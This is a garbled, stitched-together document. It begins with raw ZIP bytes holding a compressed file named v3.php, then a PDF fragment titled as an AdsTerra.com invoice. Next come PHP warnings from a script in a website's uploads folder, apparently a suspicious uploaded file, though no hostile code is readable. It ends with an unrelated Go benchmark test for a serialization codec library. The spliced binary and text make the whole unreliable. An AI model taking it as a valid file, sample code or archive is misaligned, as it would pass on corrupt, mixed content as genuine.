PK���ȼRY��������€��� �v3.phpUT �øŽg‰gñ“gux �õ��õ��½T]kÛ0}߯pEhìâÙM7X‰çv%”v0֐µ{)Aå:6S$!ÉMJèߕ?R÷!>lO¶tÏ=ç~êë¥*”—W‚ÙR OÃhþÀXl5ØJ ÿñ¾¹K^•æi‡#ëLÇÏ_ ÒËõçX²èY[:ŽÇFY[  ÿD. çI™û…Mi¬ñ;ª¡AO+$£–x™ƒ Øîü¿±ŒsZÐÔQô ]+ÊíüÓ:‚ãã½ú¶%åºb¨{¦¤Ó1@V¤ûBëSúA²Ö§ ‘0|5Ì­Ä[«+èUsƒ ôˆh2àr‡z_¥(Ùv§ÈĂï§EÖý‰ÆypBS¯·8Y­è,eRX¨Ö¡’œqéF²;¿¼?Ø?Lš6` dšikR•¡™âÑo†e«ƒi´áŽáqXHc‡óðü4€ÖBÖÌ%ütÚ$š+T”•MÉÍõ½G¢ž¯Êl1œGÄ»½¿ŸÆ£h¤I6JÉ-òŽß©ˆôP)Ô9½‰+‘Κ¯uiÁi‡ˆ‰i0J ép˜¬‹’ƒ”ƒlÂÃø:s”æØ�S{ŽÎαÐ]å÷:y°Q¿>©å{x<ŽæïíNCþÑ.Mf?¨«2ý}=ûõýî'=£§ÿu•Ü(—¾IIa­"éþ@¶�¿ä9?^-qìÇÞôvŠeÈc ðlacã®xèÄ'®âd¶ çˆSEæódP/ÍÆv{Ô)Ó ?>…V¼—óÞÇlŸÒMó¤®ðdM·ÀyƱϝÚÛTÒ´6[xʸO./p~["M[`…ôÈõìn6‹Hòâ]^|ø PKýBvây��€��PK���ȼRY��������°���� �__MACOSX/._v3.phpUT �øŽg‰gþ“gux �õ��õ��c`cg`b`ðMLVðVˆP€'qƒøˆŽ!!AP&HÇ %PDF-1.7 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R >> endobj 2 0 obj << /Type /Outlines /Count 0 >> endobj 3 0 obj << /Type /Pages /Kids [6 0 R ] /Count 1 /Resources << /ProcSet 4 0 R /Font << /F1 8 0 R /F2 9 0 R >> >> /MediaBox [0.000 0.000 595.280 841.890] >> endobj 4 0 obj [/PDF /Text ] endobj 5 0 obj << /Producer (���d�o�m�p�d�f� �2�.�0�.�8� �+� �C�P�D�F) /CreationDate (D:20241129143806+00'00') /ModDate (D:20241129143806+00'00') /Title (���A�d�s�T�e�r�r�a�.�c�o�m� �i�n�v�o�i�c�e) >> endobj 6 0 obj << /Type /Page /MediaBox [0.000 0.000 595.280 841.890] /Parent 3 0 R /Contents 7 0 R >> endobj 7 0 obj << /Filter /FlateDecode /Length 904 >> stream x���]o�J���+F�ͩ����su\ �08=ʩzရ���lS��lc� "Ց� ���wޙ�%�R�DS��� �OI�a`� �Q�f��5����_���םO�`�7�_FA���D�Џ.j�a=�j����>��n���R+�P��l�rH�{0��w��0��=W�2D ����G���I�>�_B3ed�H�yJ�G>/��ywy�fk��%�$�2.��d_�h����&)b0��"[\B��*_.��Y� ��<�2���fC�YQ&y�i�tQ�"xj����+���l�����'�i"�,�ҔH�AK��9��C���&Oa�Q � jɭ��� �p _���E�ie9�ƃ%H&��,`rDxS�ޔ!�(�X!v ��]{ݛx�e�`�p�&��'�q�9 F�i���W1in��F�O�����Zs��[gQT�؉����}��q^upLɪ:B"��؝�����*Tiu(S�r]��s�.��s9n�N!K!L�M�?�*[��N�8��c��ۯ�b�� ��� �YZ���SR3�n�����lPN��P�;��^�]�!'�z-���ӊ���/��껣��4�l(M�E�QL��X ��~���G��M|�����*��~�;/=N4�-|y�`�i�\�e�T�<���L��G}�"В�J^���q��"X�?(V�ߣXۆ{��H[����P�� �c���kc�Z�9v�����? �a��R�h|��^�k�D4W���?Iӊ�]<��4�)$wdat���~�����������|�L��x�p|N�*��E� �/4�Qpi�x.>��d����,M�y|4^�Ż��8S/޾���uQe���D�y� ��ͧH�����j�wX � �&z� endstream endobj 8 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica /Encoding /WinAnsiEncoding >> endobj 9 0 obj << /Type /Font /Subtype /Type1 /Name /F2 /BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding >> endobj xref 0 10 0000000000 65535 f 0000000009 00000 n 0000000074 00000 n 0000000120 00000 n 0000000284 00000 n 0000000313 00000 n 0000000514 00000 n 0000000617 00000 n 0000001593 00000 n 0000001700 00000 n trailer << /Size 10 /Root 1 0 R /Info 5 0 R /ID[] >> startxref 1812 %%EOF
Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 128

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 129

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 130

Warning: Cannot modify header information - headers already sent by (output started at /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php:1) in /home/u866776246/domains/wisatalogung.com/public_html/uploads/produk/1775157541_x.php on line 131
// Copyright (c) 2012, 2013 Ugorji Nwoke. All rights reserved. // Use of this source code is governed by a BSD-style license found in the LICENSE file. package codec import ( "bytes" "encoding/gob" "encoding/json" "flag" "fmt" "reflect" "runtime" "testing" "time" ) // Sample way to run: // go test -bi -bv -bd=1 -benchmem -bench=. var ( _ = fmt.Printf benchTs *TestStruc approxSize int benchDoInitBench bool benchVerify bool benchUnscientificRes bool = false //depth of 0 maps to ~400bytes json-encoded string, 1 maps to ~1400 bytes, etc //For depth>1, we likely trigger stack growth for encoders, making benchmarking unreliable. benchDepth int benchInitDebug bool benchCheckers []benchChecker ) type benchEncFn func(interface{}) ([]byte, error) type benchDecFn func([]byte, interface{}) error type benchIntfFn func() interface{} type benchChecker struct { name string encodefn benchEncFn decodefn benchDecFn } func benchInitFlags() { flag.BoolVar(&benchInitDebug, "bg", false, "Bench Debug") flag.IntVar(&benchDepth, "bd", 1, "Bench Depth: If >1, potential unreliable results due to stack growth") flag.BoolVar(&benchDoInitBench, "bi", false, "Run Bench Init") flag.BoolVar(&benchVerify, "bv", false, "Verify Decoded Value during Benchmark") flag.BoolVar(&benchUnscientificRes, "bu", false, "Show Unscientific Results during Benchmark") } func benchInit() { benchTs = newTestStruc(benchDepth, true) approxSize = approxDataSize(reflect.ValueOf(benchTs)) bytesLen := 1024 * 4 * (benchDepth + 1) * (benchDepth + 1) if bytesLen < approxSize { bytesLen = approxSize } benchCheckers = append(benchCheckers, benchChecker{"msgpack", fnMsgpackEncodeFn, fnMsgpackDecodeFn}, benchChecker{"binc-nosym", fnBincNoSymEncodeFn, fnBincNoSymDecodeFn}, benchChecker{"binc-sym", fnBincSymEncodeFn, fnBincSymDecodeFn}, benchChecker{"simple", fnSimpleEncodeFn, fnSimpleDecodeFn}, benchChecker{"gob", fnGobEncodeFn, fnGobDecodeFn}, benchChecker{"json", fnJsonEncodeFn, fnJsonDecodeFn}, ) if benchDoInitBench { runBenchInit() } } func runBenchInit() { logT(nil, "..............................................") logT(nil, "BENCHMARK INIT: %v", time.Now()) logT(nil, "To run full benchmark comparing encodings (MsgPack, Binc, Simple, JSON, GOB, etc), "+ "use: \"go test -bench=.\"") logT(nil, "Benchmark: ") logT(nil, "\tStruct recursive Depth: %d", benchDepth) if approxSize > 0 { logT(nil, "\tApproxDeepSize Of benchmark Struct: %d bytes", approxSize) } if benchUnscientificRes { logT(nil, "Benchmark One-Pass Run (with Unscientific Encode/Decode times): ") } else { logT(nil, "Benchmark One-Pass Run:") } for _, bc := range benchCheckers { doBenchCheck(bc.name, bc.encodefn, bc.decodefn) } logT(nil, "..............................................") if benchInitDebug { logT(nil, "<<<<====>>>> depth: %v, ts: %#v\n", benchDepth, benchTs) } } func fnBenchNewTs() interface{} { return new(TestStruc) } func doBenchCheck(name string, encfn benchEncFn, decfn benchDecFn) { runtime.GC() tnow := time.Now() buf, err := encfn(benchTs) if err != nil { logT(nil, "\t%10s: **** Error encoding benchTs: %v", name, err) } encDur := time.Now().Sub(tnow) encLen := len(buf) runtime.GC() if !benchUnscientificRes { logT(nil, "\t%10s: len: %d bytes\n", name, encLen) return } tnow = time.Now() if err = decfn(buf, new(TestStruc)); err != nil { logT(nil, "\t%10s: **** Error decoding into new TestStruc: %v", name, err) } decDur := time.Now().Sub(tnow) logT(nil, "\t%10s: len: %d bytes, encode: %v, decode: %v\n", name, encLen, encDur, decDur) } func fnBenchmarkEncode(b *testing.B, encName string, ts interface{}, encfn benchEncFn) { runtime.GC() b.ResetTimer() for i := 0; i < b.N; i++ { _, err := encfn(ts) if err != nil { logT(b, "Error encoding benchTs: %s: %v", encName, err) b.FailNow() } } } func fnBenchmarkDecode(b *testing.B, encName string, ts interface{}, encfn benchEncFn, decfn benchDecFn, newfn benchIntfFn, ) { buf, err := encfn(ts) if err != nil { logT(b, "Error encoding benchTs: %s: %v", encName, err) b.FailNow() } runtime.GC() b.ResetTimer() for i := 0; i < b.N; i++ { ts = newfn() if err = decfn(buf, ts); err != nil { logT(b, "Error decoding into new TestStruc: %s: %v", encName, err) b.FailNow() } if benchVerify { if vts, vok := ts.(*TestStruc); vok { verifyTsTree(b, vts) } } } } func verifyTsTree(b *testing.B, ts *TestStruc) { var ts0, ts1m, ts2m, ts1s, ts2s *TestStruc ts0 = ts if benchDepth > 0 { ts1m, ts1s = verifyCheckAndGet(b, ts0) } if benchDepth > 1 { ts2m, ts2s = verifyCheckAndGet(b, ts1m) } for _, tsx := range []*TestStruc{ts0, ts1m, ts2m, ts1s, ts2s} { if tsx != nil { verifyOneOne(b, tsx) } } } func verifyCheckAndGet(b *testing.B, ts0 *TestStruc) (ts1m *TestStruc, ts1s *TestStruc) { // if len(ts1m.Ms) <= 2 { // logT(b, "Error: ts1m.Ms len should be > 2. Got: %v", len(ts1m.Ms)) // b.FailNow() // } if len(ts0.Its) == 0 { logT(b, "Error: ts0.Islice len should be > 0. Got: %v", len(ts0.Its)) b.FailNow() } ts1m = ts0.Mtsptr["0"] ts1s = ts0.Its[0] if ts1m == nil || ts1s == nil { logT(b, "Error: At benchDepth 1, No *TestStruc found") b.FailNow() } return } func verifyOneOne(b *testing.B, ts *TestStruc) { if ts.I64slice[2] != int64(3) { logT(b, "Error: Decode failed by checking values") b.FailNow() } } func fnMsgpackEncodeFn(ts interface{}) (bs []byte, err error) { err = NewEncoderBytes(&bs, testMsgpackH).Encode(ts) return } func fnMsgpackDecodeFn(buf []byte, ts interface{}) error { return NewDecoderBytes(buf, testMsgpackH).Decode(ts) } func fnBincEncodeFn(ts interface{}, sym AsSymbolFlag) (bs []byte, err error) { tSym := testBincH.AsSymbols testBincH.AsSymbols = sym err = NewEncoderBytes(&bs, testBincH).Encode(ts) testBincH.AsSymbols = tSym return } func fnBincDecodeFn(buf []byte, ts interface{}, sym AsSymbolFlag) (err error) { tSym := testBincH.AsSymbols testBincH.AsSymbols = sym err = NewDecoderBytes(buf, testBincH).Decode(ts) testBincH.AsSymbols = tSym return } func fnBincNoSymEncodeFn(ts interface{}) (bs []byte, err error) { return fnBincEncodeFn(ts, AsSymbolNone) } func fnBincNoSymDecodeFn(buf []byte, ts interface{}) error { return fnBincDecodeFn(buf, ts, AsSymbolNone) } func fnBincSymEncodeFn(ts interface{}) (bs []byte, err error) { return fnBincEncodeFn(ts, AsSymbolAll) } func fnBincSymDecodeFn(buf []byte, ts interface{}) error { return fnBincDecodeFn(buf, ts, AsSymbolAll) } func fnSimpleEncodeFn(ts interface{}) (bs []byte, err error) { err = NewEncoderBytes(&bs, testSimpleH).Encode(ts) return } func fnSimpleDecodeFn(buf []byte, ts interface{}) error { return NewDecoderBytes(buf, testSimpleH).Decode(ts) } func fnGobEncodeFn(ts interface{}) ([]byte, error) { bbuf := new(bytes.Buffer) err := gob.NewEncoder(bbuf).Encode(ts) return bbuf.Bytes(), err } func fnGobDecodeFn(buf []byte, ts interface{}) error { return gob.NewDecoder(bytes.NewBuffer(buf)).Decode(ts) } func fnJsonEncodeFn(ts interface{}) ([]byte, error) { return json.Marshal(ts) } func fnJsonDecodeFn(buf []byte, ts interface{}) error { return json.Unmarshal(buf, ts) } func Benchmark__Msgpack____Encode(b *testing.B) { fnBenchmarkEncode(b, "msgpack", benchTs, fnMsgpackEncodeFn) } func Benchmark__Msgpack____Decode(b *testing.B) { fnBenchmarkDecode(b, "msgpack", benchTs, fnMsgpackEncodeFn, fnMsgpackDecodeFn, fnBenchNewTs) } func Benchmark__Binc_NoSym_Encode(b *testing.B) { fnBenchmarkEncode(b, "binc", benchTs, fnBincNoSymEncodeFn) } func Benchmark__Binc_NoSym_Decode(b *testing.B) { fnBenchmarkDecode(b, "binc", benchTs, fnBincNoSymEncodeFn, fnBincNoSymDecodeFn, fnBenchNewTs) } func Benchmark__Binc_Sym___Encode(b *testing.B) { fnBenchmarkEncode(b, "binc", benchTs, fnBincSymEncodeFn) } func Benchmark__Binc_Sym___Decode(b *testing.B) { fnBenchmarkDecode(b, "binc", benchTs, fnBincSymEncodeFn, fnBincSymDecodeFn, fnBenchNewTs) } func Benchmark__Simple____Encode(b *testing.B) { fnBenchmarkEncode(b, "simple", benchTs, fnSimpleEncodeFn) } func Benchmark__Simple____Decode(b *testing.B) { fnBenchmarkDecode(b, "simple", benchTs, fnSimpleEncodeFn, fnSimpleDecodeFn, fnBenchNewTs) } func Benchmark__Gob________Encode(b *testing.B) { fnBenchmarkEncode(b, "gob", benchTs, fnGobEncodeFn) } func Benchmark__Gob________Decode(b *testing.B) { fnBenchmarkDecode(b, "gob", benchTs, fnGobEncodeFn, fnGobDecodeFn, fnBenchNewTs) } func Benchmark__Json_______Encode(b *testing.B) { fnBenchmarkEncode(b, "json", benchTs, fnJsonEncodeFn) } func Benchmark__Json_______Decode(b *testing.B) { fnBenchmarkDecode(b, "json", benchTs, fnJsonEncodeFn, fnJsonDecodeFn, fnBenchNewTs) }